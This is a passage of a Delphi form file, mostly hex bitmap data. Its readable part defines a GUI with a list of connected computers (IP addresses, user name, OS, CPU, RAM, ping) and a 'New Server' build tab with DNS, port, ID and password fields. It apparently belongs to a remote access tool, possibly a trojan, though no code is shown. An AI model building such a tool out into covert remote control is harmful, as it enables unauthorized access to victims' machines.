0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000001E1E1E111B1B1B5F262626EC323232FF3A3A\n    3AFF373737FE3E3E3EFF191919FE212121FF353535FF292929FE232323FF1919\n    19961F1F1F0A0000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000003030302D363636F3373737F02D2D2D230000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000001D1D1D071A1A1A861A1A1AEF292929FF393939FE434343FF3F3F\n    3FFF505050FE3A3A3AFF1E1E1EFE313131FF2D2D2DFF3F3F3FFE515151FF1C1C\n    1CFF232323E21C1C1C7000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000002727273D3F3F3FFB2C2C2CDE2D2D\n    2D0F000000000000000000000000000000000000000000000000000000000000\n    00002727270F1C1C1CD0212121FF3E3E3EFF3A3A3AFF484848FF676767FF5656\n    56FF595959FF525252FF3C3C3CFF464646FF545454FF565656FF444444FF3E3E\n    3EFF3E3E3EFF2F2F2FFF1C1C1CBD2020204225252513212121131E1E1E130000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000212121603B3B3BFA2323\n    23BE2C2C2C0D0000000000000000000000000000000000000000000000000000\n    00001F1F1F8E2E2E2EFF444444FE585858FF595959FF585858FE737373FF6C6C\n    6CFF727272FE5A5A5AFF565656FE676767FF626262FF454545FE5D5D5DFF5656\n    56FF363636FE353535FF333333FF323232FE1D1D1DFF2D2D2DFF171717F50000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000000000002626267D4C4C\n    4CFF242424B80000000000000000000000000000000000000000000000002D2D\n    2D252F2F2FFB4F4F4FFF7A7A7AFF767676FF5C5C5CFF666666FF777777FF7474\n    74FF6D6D6DFF6D6D6DFF4F4F4FFF434343FF555555FF272727FF4E4E4EFF5151\n    51FF565656FF636363FF585858FF575757FF333333FF1B1B1BCB1B1B1B2F0000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000002121\n    21954E4E4EFE1F1F1FA034343403000000000000000000000000000000002424\n    24A5565656FF737373FF7E7E7EFE5F5F5FFF636363FF676767FE797979FF7474\n    74FF666666FE676767FF3E3E3EFE414141FF606060FF676767FE565656FF5252\n    52FF515151FE636363FF4D4D4DFF383838FE2222227300000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000034343417313131273131\n    312F212121CD5C5C5CFF262626A3000000000000000000000000000000003939\n    39F5515151FF6D6D6DFF7B7B7BFE606060FF585858FF646464FE707070FF6060\n    60FF535353FE646464FF555555FE656565FF2F2F2FFF575757FE6F6F6FFF7070\n    70FF6D6D6DFE5B5B5BFF5D5D5DFF2B2B2BCB3737370B00000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000003636360E252525781F1F1FD1262626F7454545FF4F4F\n    4FFF3F3F3FFF505050FF5A5A5AFD3131316C00000000000000003939391C4444\n    44FF484848FF6A6A6AFF707070FF585858FF5A5A5AFF606060FF6F6F6FFF5B5B\n    5BFF525252FF5C5C5CFF444444FF646464FF777777FF777777FF7D7D7DFF7070\n    70FF727272FF727272FF363636F54242421A0000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000003333334F2A2A2AEC484848FF5F5F5FFF6F6F6FFE7D7D7DFF8686\n    86FF7F7F7FFE797979FF636363FF323232F735353550000000002A2A2A3D4E4E\n    4EFE484848FF5A5A5AFF595959FE525252FF646464FF636363FE616161FF4B4B\n    4BFF5C5C5CFE767676FF7C7C7CFE7B7B7BFF727272FF737373FE7E7E7EFF7C7C\n    7CFF717171FE494949FF2B2B2B87000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000022222251202020ED5C5C5CFE6E6E6EFF707070FF7C7C7CFE838383FF8989\n    89FF858585FE848484FF7F7F7FFF636363FF242424EF2E2E2E2D2B2B2B3D4242\n    42FE404040FF555555FF676767FE5C5C5CFF424242FF555555FE616161FF6E6E\n    6EFF6D6D6DFE7C7C7CFF757575FE717171FF7D7D7DFF7B7B7BFE777777FF6363\n    63FF393939FE2F2F2FA63D3D3D07000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000002020\n    2062303030FC464646FF575757FE6B6B6BFF7D7D7DFF7D7D7DFE828282FF8787\n    87FF838383FE828282FF747474FF5E5E5EFF5A5A5AFE2F2F2FEA202020993B3B\n    3BFE5A5A5AFF575757FF4F4F4FFE555555FF595959FF636363FE838383FF7171\n    71FF5B5B5BFE707070FF7D7D7DFE7B7B7BFF676767FF747474FE7B7B7BFF6969\n    69FF2B2B2B9C0000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000000000002A2A2A07212121742727\n    27F5464646FF656565FF797979FF838383FF878787FF838383FF767676FF7171\n    71FF727272FF787878FF676767FF575757FF6A6A6AFF757575FF555555FF4242\n    42FF696969FF737373FF767676FF7E7E7EFF727272FF676767FF656565FF7777\n    77FF787878FF646464FF636363FF747474FF696969FF5E5E5EFF444444FF2626\n    26CC3D3D3D120000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000031313117202020D4333333FF5151\n    51FE545454FF5F5F5FFF787878FE838383FF8E8E8EFF8E8E8EFE898989FF8585\n    85FF7A7A7AFE737373FF656565FF585858FF545454FE3F3F3FFF202020FF1616\n    16FE333333FF707070FF727272FE6B6B6BFF7B7B7BFF818181FE6B6B6BFF6262\n    62FF7B7B7BFE737373FF686868FE565656FF535353FF383838E72C2C2C7E3B3B\n    3B11000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000343434211A1A1AFE303030FF4040\n    40FE464646FF626262FF686868FE737373FF747474FF7B7B7BFE727272FF7575\n    75FF797979FE737373FF7B7B7BFF3F3F3FFF5F5F5FFE6A6A6AFF1A1A1AD43131\n    31FE121212DE232323E7383838FE434343FF505050FF787878FE727272FF6C6C\n    6CFF4D4D4DFE595959FF646464FE464646FF2B2B2BAA3D3D3D11000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000303030041C1C1CC6474747FF5B5B\n    5BFF747474FF808080FF808080FF848484FF878787FF888888FF7B7B7BFF7373\n    73FF6B6B6BFF575757FF636363FF4B4B4BFF4B4B4BFF717171FF242424C12222\n    228E3B3B3BFA282828452D2D2D3328282871202020B7181818F0323232FF2F2F\n    2FFF2C2C2CED2A2A2AB52A2A2A942D2D2D380000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000252525A0464646FE6C6C6CFF6868\n    68FE696969FF717171FF797979FE7B7B7BFF7C7C7CFF7A7A7AFE797979FF7E7E\n    7EFF7C7C7CFE686868FF5B5B5BFF494949FF484848FE616161FF1C1C1CC12D2D\n    2D0F393939EB333333E9212121801C1C1CC4262626EA393939FE3F3F3FFF3030\n    30FF242424DC212121A12C2C2C642727271C0000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000027272731282828FB5A5A5AFE575757FF7272\n    72FE7A7A7AFF878787FF8A8A8AFE848484FF808080FF797979FE636363FF5353\n    53FF737373FE6C6C6CFF585858FF5C5C5CFF646464FE484848FF232323972929\n    29151A1A1AEF5F5F5FFF444444FE656565FF7A7A7AFF7D7D7DFE7E7E7EFF7171\n    71FF6B6B6BFE4B4B4BFF2C2C2CFE212121F9191919B720202052282828070000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000002929299F454545FF717171FF838383FF8888\n    88FF868686FF858585FF848484FF858585FF858585FF7D7D7DFF707070FF7979\n    79FF7E7E7EFF787878FF6A6A6AFF6A6A6AFF696969FF353535FF262626471515\n    15AA313131FF666666FF797979FF7B7B7BFF7E7E7EFF7E7E7EFF797979FF7979\n    79FF797979FF757575FF656565FF565656FF434343FF343434FF252525F52828\n    28762D2D2D050000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000232323C44F4F4FFF606060FE636363FF7A7A\n    7AFE7F7F7FFF818181FF787878FE6C6C6CFF676767FF555555FE7B7B7BFF8080\n    80FF777777FE757575FF707070FF6B6B6BFF636363FE242424BC2626267C2525\n    25FE4C4C4CFF454545FF808080FE848484FF868686FF808080FE7F7F7FFF7B7B\n    7BFF7E7E7EFE797979FF717171FE6C6C6CFF646464FF535353FE424242FF3131\n    31FF262626B82828280900000000000000000000000000000000000000000000\n    000000000000000000002424242A212121F84B4B4BFF5D5D5DFE777777FF8383\n    83FE828282FF828282FF797979FE6E6E6EFF6E6E6EFF818181FE7F7F7FFF8383\n    83FF717171FE737373FF7E7E7EFF616161FF424242FE282828511A1A1AF45555\n    55FE4C4C4CFF484848FF5C5C5CFE6A6A6AFF6F6F6FFF717171FE6B6B6BFF6969\n    69FF585858FE606060FF5F5F5FFE575757FF636363FF626262FE4B4B4BFF4242\n    42FF2C2C2CFE1A1A1AA000000000000000000000000000000000000000000000\n    000000000000000000002222228B393939FF5C5C5CFF6F6F6FFF7E7E7EFF7979\n    79FF6B6B6BFF656565FF646464FF6B6B6BFF717171FF818181FF828282FF7E7E\n    7EFF606060FF606060FF747474FF393939FF282828B024242483424242FF6666\n    66FF454545FF515151FF4C4C4CFF717171FF757575FF7F7F7FFF868686FF8484\n    84FF868686FF7E7E7EFF7C7C7CFF7D7D7DFF717171FF5B5B5BFF4A4A4AFF4A4A\n    4AFF383838FF1D1D1DFF1515156B000000000000000000000000000000000000\n    00000000000000000000131313E02F2F2FFF575757FF636363FE818181FF7D7D\n    7DFE787878FF606060FF575757FE5E5E5EFF636363FF878787FE838383FF7070\n    70FF4F4F4FFE595959FF616161FF181818E230303015252525D3595959FF6060\n    60FE636363FF414141FF4B4B4BFE5F5F5FFF7A7A7AFF848484FE898989FF8383\n    83FF828282FE7B7B7BFF787878FE717171FF616161FF515151FE4F4F4FFF3A3A\n    3AFF303030FE161616FF101010FB1111113A0000000000000000000000000000\n    000000000000000000001A1A1A8B2D2D2DFF5A5A5AFF737373FE7B7B7BFF7777\n    77FE6D6D6DFF656565FF5F5F5FFE696969FF6C6C6CFF868686FE808080FF6666\n    66FF505050FE4F4F4FFF323232FA2C2C2C533232322A272727F84F4F4FFF7575\n    75FE737373FF434343FF5F5F5FFE545454FF595959FF4C4C4CFE535353FF5050\n    50FF484848FE424242FF323232FE2D2D2DFF3B3B3BFF3A3A3AFE303030FF2D2D\n    2DFF2A2A2AFE1C1C1CFF131313FA131313400000000000000000000000000000\n    0000000000001D1D1D021D1D1DC6494949FF6A6A6AFF6A6A6AFF6A6A6AFF6161\n    61FF616161FF686868FF5D5D5DFF797979FF747474FF828282FF7C7C7CFF5151\n    51FF3F3F3FFF2A2A2AFE222222830000000026262678373737FF5F5F5FFF8282\n    82FF535353FF636363FF7C7C7CFF636363FF595959FF5D5D5DFF656565FF6F6F\n    6FFF626262FF6B6B6BFF646464FF636363FF606060FF585858FF3F3F3FFF3D3D\n    3DFF313131FF343434FF1D1D1DFF1A1A1A280000000000000000000000000000\n    0000000000001E1E1E281F1F1FFF535353FF767676FF717171FE5B5B5BFF5F5F\n    5FFE606060FF6A6A6AFF777777FE7F7F7FFF707070FF777777FE6A6A6AFF4A4A\n    4AFF242424FE1D1D1D7A00000000000000001C1C1CA34A4A4AFF686868FF7575\n    75FE5D5D5DFF7F7F7FFF7D7D7DFE5A5A5AFF505050FF5A5A5AFE555555FF5757\n    57FF535353FE696969FF7A7A7AFE828282FF7C7C7CFF6E6E6EFE747474FF6666\n    66FF616161FE444444FF252525FF2222225C0000000000000000000000000000\n    0000000000001D1D1D5B2C2C2CFF606060FF737373FF737373FE6B6B6BFF6B6B\n    6BFE696969FF7E7E7EFF808080FE838383FF6C6C6CFF707070FE3E3E3EFF2C2C\n    2CF327272744000000000000000000000000171717DB464646FF696969FF6D6D\n    6DFE7E7E7EFF848484FF6C6C6CFE585858FF3E3E3EFF515151FE606060FF4848\n    48FF565656FE767676FF858585FE858585FF838383FF858585FE848484FF7575\n    75FF6A6A6AFE565656FF3A3A3AFF121212D61616160E00000000000000000000\n    0000000000002323233F343434FF616161FF595959FF6E6E6EFF7E7E7EFF7777\n    77FF828282FF868686FF848484FF7A7A7AFF5D5D5DFF393939FF292929E92F2F\n    2F3800000000000000000000000000000000202020E0434343FF6A6A6AFF7777\n    77FF8A8A8AFF7E7E7EFF575757FF5B5B5BFF6E6E6EFF717171FF565656FF4E4E\n    4EFF555555FF707070FF6B6B6BFF636363FF575757FF565656FF404040FF3232\n    32FF353535FF303030FF272727FF101010FF1414141E00000000000000000000\n    0000000000001E1E1E81373737FF595959FF4E4E4EFF696969FE7D7D7DFF7878\n    78FE858585FF7D7D7DFF6E6E6EFE626262FF333333FF282828C1313131150000\n    0000000000000000000000000000000000001C1C1CE0474747FF767676FF7E7E\n    7EFE828282FF757575FF535353FE626262FF7D7D7DFF737373FE646464FF5252\n    52FF3D3D3DFE3C3C3CFF4D4D4DFE373737FF3A3A3AFF383838FE393939FF2323\n    23FF161616FE282828FF2A2A2AFF131313EC1919190B00000000000000000000\n    0000000000001C1C1CD1444444FF5E5E5EFF5F5F5FFF7D7D7DFE7F7F7FFF7E7E\n    7EFE878787FF686868FF3B3B3BFE282828BF3636362D37373703000000000000\n    000000000000000000000000000000000000161616E0444444FF727272FF7C7C\n    7CFE828282FF636363FF505050FE787878FF7E7E7EFF646464FE4A4A4AFF3F3F\n    3FFF5D5D5DFE383838FF434343FE5E5E5EFF5D5D5DFF6A6A6AFE686868FF6464\n    64FF525252FE4A4A4AFF3D3D3DFF161616F51B1B1B2300000000000000000000\n    0000252525142C2C2CFF505050FF696969FF7A7A7AFF828282FF717171FF5656\n    56FF565656FF2A2A2AD73434344D000000000000000000000000000000000000\n    000000000000000000000000000000000000171717BF424242FF5F5F5FFF7878\n    78FF717171FF525252FF484848FF717171FF777777FF575757FF505050FF6161\n    61FF4C4C4CFF404040FF464646FF696969FF6A6A6AFF717171FF767676FF6E6E\n    6EFF5D5D5DFF565656FF404040FF202020FF161616AB00000000000000001A1A\n    1A011C1C1C8D393939FE3D3D3DFF4C4C4CFF505050FF4B4B4BEA333333B24848\n    4830414141274747470C00000000000000000000000000000000000000000000\n    0000000000000000000000000000000000001D1D1D572D2D2DFF575757FF7373\n    73FE727272FF4E4E4EFF515151FE6D6D6DFF626262FF3F3F3FFE4D4D4DFF6262\n    62FF565656FE353535FF4F4F4FFE414141FF464646FF474747FE424242FF3737\n    37FF2F2F2FFE2A2A2AFF2E2E2EFF252525FE121212B500000000000000001414\n    14A51F1F1FFA2B2B2BBD2C2C2C63444444184B4B4B134F4F4F09000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000262626031C1C1CC13D3D3DFF6D6D\n    6DFF6A6A6AFF3B3B3BFF575757FF676767FF4F4F4FFF2C2C2CFF5D5D5DFF6E6E\n    6EFF5B5B5BFF525252FF4E4E4EFF454545FF363636FF434343FF575757FF7575\n    75FF757575FF686868FF4F4F4FFF282828FF1919193100000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000029292917232323F46262\n    62FE505050FF333333FF5C5C5CFE575757FF3E3E3EFF2E2E2EFE626262FF6464\n    64FF6F6F6FFE6A6A6AFF484848FE5C5C5CFF353535FF444444FE444444FF3838\n    38FF2C2C2CFE272727FF1B1B1BFF141414FE1818181E00000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000000000002525257A3030\n    30FE373737FF343434FF5A5A5AFE484848FF3C3C3CFF424242FE646464FF5757\n    57FF6B6B6BFE545454FF585858FE595959FF484848FF2F2F2FFE2C2C2CFF3B3B\n    3BFF484848FE383838FF1E1E1EFF121212C41919190400000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000232323041111\n    11E2141414FF1E1E1EFF414141FF313131FF323232FF575757FF5A5A5AFF5959\n    59FF6B6B6BFF484848FF6A6A6AFF535353FF636363FF4C4C4CFF383838FF3E3E\n    3EFF434343FF3C3C3CFF1D1D1DFA1C1C1C400000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000001313\n    135E161616D3161616B0232323FE3C3C3CFF343434FF5E5E5EFE555555FF5050\n    50FF484848FE484848FF585858FE666666FF595959FF414141FE434343FF4848\n    48FF484848FE1E1E1EFF202020EA000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000019191904121212C4232323FF2B2B2BFF4D4D4DFE4F4F4FFF5353\n    53FF474747FE4F4F4FFF4D4D4DFE636363FF484848FF3D3D3DFE414141FF5656\n    56FF444444FE292929FF181818B6000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000002323231F1A1A1A4E1F1F1F5C171717F0333333FF3131\n    31FF444444FF353535FF3E3E3EFF494949FF4B4B4BFF414141FF707070FF4545\n    45FF4C4C4CFF323232FF1C1C1CBB000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000212121101A1A1A6E1515\n    15D31A1A1AFC191919FF333333FE262626FF363636FF242424FE3F3F3FFF3F3F\n    3FFF292929FE494949FF1A1A1AEC1F1F1F030000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000222222221C1C1C5D1D1D1D622121218E1E1E1E9C1E1E1E9C2020209C3030\n    309C2929298E1C1C1CBD252525FF1B1B1B7D0000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000001D1D1D4C2020209E000000000000000000000000FC7F\n    FFFFFFFF0000FC3FFFFFFFFF0000FE1FFFFFFFFF0000FE0FFFFFFFFF0000FF8F\n    FFFFFFFF0000FF87FFFFCFFF0000FFC3FFFC007F0000FFE1FFF0003F0000FFF0\n    FFC0001F0000FFF87F8000000000FFFC3F8000000000FFFE3F0000000000FFFF\n    0F0000030000FFFC0F0000030000FFE0060000070000FFC00200000F0000FF80\n    0000000F0000FF000000003F0000FC000000003F0000F8000000007F0000F800\n    000001FF0000F800000007FF0000F800000007FF0000F000000000FF0000F000\n    0000003F0000F0000000001F0000E0000000001F0000E0000000000F0000E000\n    000000070000E000000000070000C000080000070000C000180000070000C000\n    380000030000C000780000030000C000F80000030000C001F80000030000800F\n    F80000030000001FF8000003000001FFF80000030000FFFFFC0000030000FFFF\n    FE0000030000FFFFFE0000070000FFFFFF00000F0000FFFFFFC0000F0000FFFF\n    FFE0000F0000FFFFFFFC00070000FFFFFFFF80070000FFFFFFFFFFE70000}\n  OldCreateOrder = False\n  Position = poScreenCenter\n  OnCreate = FormCreate\n  OnDestroy = FormDestroy\n  OnMouseWheel = FormMouseWheel\n  OnResize = FormResize\n  PixelsPerInch = 96\n  TextHeight = 13\n  object SpeedButton_Version: TSpeedButton\n    Left = 569\n    Top = 207\n    Width = 81\n    Height = 22\n    Caption = 'Version 0.0.1'\n    OnClick = SpeedButton_VersionClick\n  end\n  object Panel_Main: TPanel\n    Left = 0\n    Top = 0\n    Width = 937\n    Height = 561\n    Margins.Left = 0\n    Margins.Top = 0\n    Margins.Right = 0\n    Margins.Bottom = 0\n    BevelOuter = bvNone\n    TabOrder = 1\n    object PageControl_Main: TPageControl\n      Left = 0\n      Top = 0\n      Width = 937\n      Height = 561\n      Margins.Left = 0\n      Margins.Top = 0\n      Margins.Right = 0\n      Margins.Bottom = 0\n      ActivePage = TabSheet_Connections\n      Align = alClient\n      Style = tsFlatButtons\n      TabOrder = 0\n      object TabSheet_Connections: TTabSheet\n        Margins.Left = 0\n        Margins.Top = 0\n        Margins.Right = 0\n        Margins.Bottom = 0\n        Caption = 'TabSheet_Connections'\n        object ListView_Connections: TListView\n          Left = 0\n          Top = 0\n          Width = 929\n          Height = 530\n          Margins.Left = 0\n          Margins.Top = 0\n          Margins.Right = 0\n          Margins.Bottom = 0\n          Align = alClient\n          Columns = <\n            item\n              Caption = 'ID'\n              Width = 100\n            end\n            item\n              Caption = 'WAN'\n              Width = 90\n            end\n            item\n              Caption = 'LAN'\n              Width = 90\n            end\n            item\n              Caption = 'Computer'\n              Width = 80\n            end\n            item\n              Caption = 'User Name'\n              Width = 80\n            end\n            item\n              Caption = 'Acc.Type'\n              Width = 60\n            end\n            item\n              Caption = 'OS'\n              Width = 45\n            end\n            item\n              Caption = 'CPU'\n              Width = 63\n            end\n            item\n              Caption = 'RAM'\n              Width = 67\n            end\n            item\n              Caption = 'Version'\n            end\n            item\n              AutoSize = True\n              Caption = 'Ping'\n            end>\n          DoubleBuffered = True\n          GridLines = True\n          LargeImages = ImageList_Thumbnail\n          MultiSelect = True\n          ReadOnly = True\n          RowSelect = True\n          ParentDoubleBuffered = False\n          PopupMenu = PopupMenu_Connections\n          SmallImages = ImageList_Flags\n          TabOrder = 0\n          ViewStyle = vsReport\n          OnDblClick = ListView_ConnectionsDblClick\n        end\n      end\n      object TabSheet_Build: TTabSheet\n        Margins.Left = 0\n        Margins.Top = 0\n        Margins.Right = 0\n        Margins.Bottom = 0\n        Caption = 'TabSheet_Build'\n        ImageIndex = 1\n        object GroupBox_Build: TGroupBox\n          Left = 0\n          Top = 0\n          Width = 929\n          Height = 530\n          Align = alClient\n          Caption = 'New Server'\n          Font.Charset = DEFAULT_CHARSET\n          Font.Color = clWindowText\n          Font.Height = -11\n          Font.Name = 'Tahoma'\n          Font.Style = [fsBold]\n          ParentFont = False\n          TabOrder = 0\n          object ScrollBox_Build: TScrollBox\n            Left = 2\n            Top = 15\n            Width = 925\n            Height = 513\n            HorzScrollBar.Range = 700\n            VertScrollBar.Range = 820\n            Align = alClient\n            AutoScroll = False\n            BorderStyle = bsNone\n            TabOrder = 0\n            DesignSize = (\n              909\n              513)\n            object Label_14: TLabel\n              Left = 19\n              Top = 4\n              Width = 54\n              Height = 13\n              Caption = 'Connection'\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'MS Sans Serif'\n              Font.Style = []\n              ParentFont = False\n            end\n            object Label_7: TLabel\n              Left = 32\n              Top = 35\n              Width = 55\n              Height = 13\n              Caption = 'DNS/Port:'\n            end\n            object SpeedButton_Add: TSpeedButton\n              Left = 295\n              Top = 31\n              Width = 53\n              Height = 21\n              Caption = 'Add '\n              Flat = True\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'MS Sans Serif'\n              Font.Style = []\n              Glyph.Data = {\n                36040000424D3604000000000000360000002800000010000000100000000100\n                20000000000000040000120B0000120B00000000000000000000FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF006B9A800022703F00196B370022703F006B9A8000FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF006D9C\n                8300288C530064BA8D0095D2B20064BA8D00288C530068997E0058B8640055B6\n                610053B45E0050B25B00FF00FF00FF00FF003DA14500369A3D00309336001B6D\n                390062BA8B0060BA8700FF00FF0060B9870067BC8F00196C36005CBB6800A8D8\n                AE00A5D7AC0054B55F00FF00FF00FF00FF0045A84E007FC6880072C07C00317B\n                4C009CD4B600FF00FF00FF00FF00FF00FF0095D2B200196B37005FBE6C00ACDA\n                B100A9D9AF0057B86300FF00FF00FF00FF004CB057008ECC960083C88C004488\n                5C0090D3B10092D6B100FF00FF0065BC8C0067BC8F00196C360063C1700060BF\n                6D005EBD6A005BBB6800FF00FF00FF00FF0054B55F004DB1580047AA50004899\n                580061AB810095D4B400BAE6D0006ABB8F002D8F57001D752F00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF0092B3A3005E9773004F8E660047885F007DA59000FF00FF00FF00FF00FF00\n                FF00B8B8B800FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF005D5D5D00FF00FF00FF00FF00FF00FF00FF00\n                FF00BEBEBE00BCBCBC00B9B9B900B4B4B400ACACAC00A2A2A200999999008E8E\n                8E0082828200777777006D6D6D0064646400FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00B6B6B600B1B1B100FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00E1A46D00D7995F00CD8C5000C47E\n                4200FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00E9B07D00EDCBC000EAC3B800CE8D\n                5100FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00F0B98B00F0D4C900EECDC200D89C\n                6000FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00F4C09500F0BA8B00EAB27F00E2A8\n                7000FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00}\n              ParentFont = False\n              OnClick = SpeedButton_AddClick\n            end\n            object Label_8: TLabel\n              Left = 32\n              Top = 64\n              Width = 16\n              Height = 13\n              Caption = 'ID:'\n            end\n            object Label_9: TLabel\n              Left = 32\n              Top = 96\n              Width = 57\n              Height = 13\n              Caption = 'Password:'\n            end\n            object Bevel_5: TBevel\n              Left = 32\n              Top = 143\n              Width = 811\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 459\n            end\n            object Label_10: TLabel\n              Left = 48\n              Top = 154\n              Width = 25\n              Height = 13\n              Caption = 'DNS:'\n            end\n            object Label_15: TLabel\n              Left = 48\n              Top = 184\n              Width = 27\n              Height = 13\n              Caption = 'Port:'\n            end\n            object Label_16: TLabel\n              Left = 48\n              Top = 216\n              Width = 61\n              Height = 13\n              Caption = 'Username:'\n            end\n            object Label_17: TLabel\n              Left = 48\n              Top = 243\n              Width = 57\n              Height = 13\n              Caption = 'Password:'\n            end\n            object Bevel_6: TBevel\n              Left = 19\n              Top = 23\n              Width = 824\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 856\n            end\n            object Label_18: TLabel\n              Left = 49\n              Top = 345\n              Width = 35\n              Height = 13\n              Caption = 'Name:'\n            end\n            object SpeedButton_1: TSpeedButton\n              Left = 455\n              Top = 342\n              Width = 69\n              Height = 21\n              Caption = 'Random '\n              Enabled = False\n              Flat = True\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'MS Sans Serif'\n              Font.Style = []\n              Glyph.Data = {\n                36040000424D3604000000000000360000002800000010000000100000000100\n                20000000000000040000120B0000120B00000000000000000000FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00929596008989890087868600878787008888870089898800898888008888\n                8800888887008786860088878700999C9D00FF00FF00FF00FF00FF00FF00FF00\n                FF0088888800C2C2C100BCBCBC00BCBCBC00BCBCBB00BCBCBB00BCBCBB00BCBC\n                BB00BCBCBB00BCBCBB00C2C2C1008C8C8C00FF00FF00FF00FF00FF00FF00FF00\n                FF008C8C8B00FFFFFF00EBEBEB00EBEBEB00E9E9E900E8E8E800E7E7E700E7E7\n                E700E6E6E600E6E6E600FFFFFF008E8D8C00FF00FF00FF00FF00FF00FF00FF00\n                FF0092919100FFFFFF00B4B4B40094949400E7E7E700B2B2B20093939300E3E3\n                E300B0B0B00091919100FBFBFB0092929100FF00FF00FF00FF00FF00FF00FF00\n                FF0095959500FFFFFF00E8E8E800E7E7E700E5E5E500E3E3E300E2E2E200E0E0\n                E000DFDFDF00DCDCDC00FFFFFF0095959500FF00FF00FF00FF00FF00FF00FF00\n                